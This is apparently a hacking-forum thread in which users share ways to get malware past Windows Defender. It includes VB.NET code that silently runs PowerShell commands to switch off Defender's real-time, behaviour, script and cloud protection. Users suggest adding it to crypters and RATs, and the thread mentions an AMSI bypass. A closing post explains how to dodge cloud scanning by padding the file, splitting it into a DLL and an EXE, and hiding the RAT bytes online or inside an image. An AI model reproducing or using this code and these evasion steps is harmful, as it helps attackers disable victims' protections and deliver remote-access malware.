[NYANxCAT]

i said 2-3 times because wd cloud scan sometimes glitches
according to my test you will get detected before even having the chance to execute  your file to disable it but who knows, maybe they changed some policies , i did this tests half a year ago
let me know the honest results, i'm curious

https://www.youtube.com/watch?v=qQcR4e6Ky8Q

C# version. I'm too lazy to write ps1 and vbs version.

🤝

[Cyber Coder]

https://www.youtube.com/watch?v=qQcR4e6Ky8Q

C# version. I'm too lazy to write ps1 and vbs version.

🤝

interesting , ill have to try myself with chrome and direct exe download when i setup a vm
could be that defender changed some policies regarding detections as i ended up having the same results at this guy in my old tests
https://www.youtube.com/watch?time_conti...RB5dxBmk5E
thanks for taking your time

[NYANxCAT]

interesting , ill have to try myself with chrome and direct exe download when i setup a vm
could be that defender changed some policies regarding detections as i ended up having the same results at this guy in my old tests
https://www.youtube.com/watch?time_conti...RB5dxBmk5E
thanks for taking your time

Mar 13, 2018 well that's old
Do you know MS changed WD behavior a long time ago? I read an article about it last year.

Also, You need to be ready for dotNET4.8, the preview version is already out. It won't let you use reflection to load buffer into memory, WD will block it unless you use my method before calling your payload. I have tried almost all tut about bypassing it but it didn't work anymore. but now I know how to bypass AMSI dotNET4.8

You are welcome and good luck. 🤝

[Nosfir]

Mar 13, 2018 well that's old
Do you know MS changed WD behavior a long time ago? I read an article about it last year.

Also, You need to be ready for dotNET4.8, the preview version is already out. It won't let you use reflection to load buffer into memory, WD will block it unless you use my method before calling your payload. I have tried almost all tut about bypassing it but it didn't work anymore. but now I know how to bypass AMSI dotNET4.8

You are welcome and good luck.  🤝

This is why native is better...

[QU⚡CKSILVER]

https://www.youtube.com/watch?v=qQcR4e6Ky8Q

C# version. I'm too lazy to write ps1 and vbs version.

🤝

Try downloading the binary itself unzipped from the Internet, then running it. I think Windows Defender looks at the zoneid of the file to determine whether to do cloud scanning or not, just like many antiviruses.

vbs and ps1 version will probably do the trick.

[iCoreX]

Thanks, that's what I searched with "RunPS"!

[NYANxCAT]

Try downloading the binary itself unzipped from the Internet, then running it. I think Windows Defender looks at the zoneid of the file to determine whether to do cloud scanning or not, just like many antiviruses.

vbs and ps1 version will probably do the trick.

Yeah, PS1 loader would be great. You should just add this feature to a crypter or open source RAT.

copy&paste and call it from entrypoint

[campusminger]

Thank you
Worked for me .
Hopefully soon I'll use this when I make crypter

[QU⚡CKSILVER]

Yeah, PS1 loader would be great. You should just add this feature to a crypter to RAT. copy&paste and call it inside the entrypoint.

Well, let's enjoy ps1 files while they last. MS will probably do the same thing they did with .vbs and .js

[iCoreX]

If anyone is too lazy to make it in VB here is it:

Code

Public Class Form1
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        RunPS("Set-MpPreference -DisableRealtimeMonitoring $true")
        RunPS("Set-MpPreference -DisableBehaviorMonitoring $true")
        RunPS("Set-MpPreference -DisableBlockAtFirstSeen $true")
        RunPS("Set-MpPreference -DisableIOAVProtection $true")
        RunPS("Set-MpPreference -DisablePrivacyMode $true")
        RunPS("Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true")
        RunPS("Set-MpPreference -DisableArchiveScanning $true")
        RunPS("Set-MpPreference -DisableScriptScanning $true")
        RunPS("Set-MpPreference -SubmitSamplesConsent Never")
        RunPS("Set-MpPreference -MAPSReporting 0")
    End Sub

    Private Shared Sub RunPS(ByVal args As String)
        Try
            Dim ps As ProcessStartInfo = New ProcessStartInfo()
            ps.FileName = "powershell.exe"
            ps.Arguments = args
            ps.WindowStyle = ProcessWindowStyle.Hidden
            Dim process As Process = New Process()
            process.StartInfo = ps
            process.Start()
        Catch
        End Try
    End Sub
End Class

[C3r34lK1ll3r]

Thanks for share, im going to take a look and recode it in c/cpp

[NYANxCAT]

If anyone is too lazy to make it in VB here is it:

Code

Public Class Form1
   Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
       RunPS("Set-MpPreference -DisableRealtimeMonitoring $true")
       RunPS("Set-MpPreference -DisableBehaviorMonitoring $true")
       RunPS("Set-MpPreference -DisableBlockAtFirstSeen $true")
       RunPS("Set-MpPreference -DisableIOAVProtection $true")
       RunPS("Set-MpPreference -DisablePrivacyMode $true")
       RunPS("Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true")
       RunPS("Set-MpPreference -DisableArchiveScanning $true")
       RunPS("Set-MpPreference -DisableScriptScanning $true")
       RunPS("Set-MpPreference -SubmitSamplesConsent Never")
       RunPS("Set-MpPreference -MAPSReporting 0")
   End Sub

   Private Shared Sub RunPS(ByVal args As String)
       Try
           Dim ps As ProcessStartInfo = New ProcessStartInfo()
           ps.FileName = "powershell.exe"
           ps.Arguments = args
           ps.WindowStyle = ProcessWindowStyle.Hidden
           Dim process As Process = New Process()
           process.StartInfo = ps
           process.Start()
       Catch
       End Try
   End Sub
End Class

Thanks for VB version. but using it will pop-up a notification 'protection is off'

[iCoreX]

Thanks for VB version. but using it will pop-up a notification 'protection is off'

For me it didn't throw any notification, I don't know what's sometimes wrong with windefender..

[NYANxCAT]

For me it didn't throw any notification, I don't know what's sometimes wrong with windefender..

Maybe it's already off? try to restore your snapshot

---

Thanks for share, im going to take a look and recode it in c/cpp

glad it helped you

[MagicianMan32]

good, now, after you build your program in the main windows, use a browser to download it into the vm simulating a real world scenario instead of drag&drop,make sure defender is up and running including the cloud scan , try this 2-3 times and see what happens

The odd thing happens because windows defender varies according to windows version
for example the protection layers in windows 10 19 aren't like those in windows 10 15
so It depends on whether the victims country has got the upgrade or not yet
It's better practice to download the latest version of windows to test windows defender and not use just any version , as I have fall in this mistake myself

for the cloud thing you can pump your file to something like 200 Megabytes , but when you zip it , it gets shrinked to its original size , thus preventing the cloud scanner from uploading it
also splitting your file into two modules , a dll and an exe that invokes it will do , as the cloud will upload the exe which only has Class1.main on it

also hosting you RAT bytes online or in a database or embedding them inside a picture and drop it beside your dll and exe is good idea
I've read an article about a guy using entropy analysis (statistics and mathematics and shit ) to detect the entry point of packed exes , of course I didn't understand shit except that the guy had a success rate of 85% doing so which made me scream what the hell
so they can detect if I'm having another exe hidden inside my exe even if it's encrypted !
anyways in a nutshell
pump your exe
split it into dll and exe
hide your bytes somewhere else from your main exe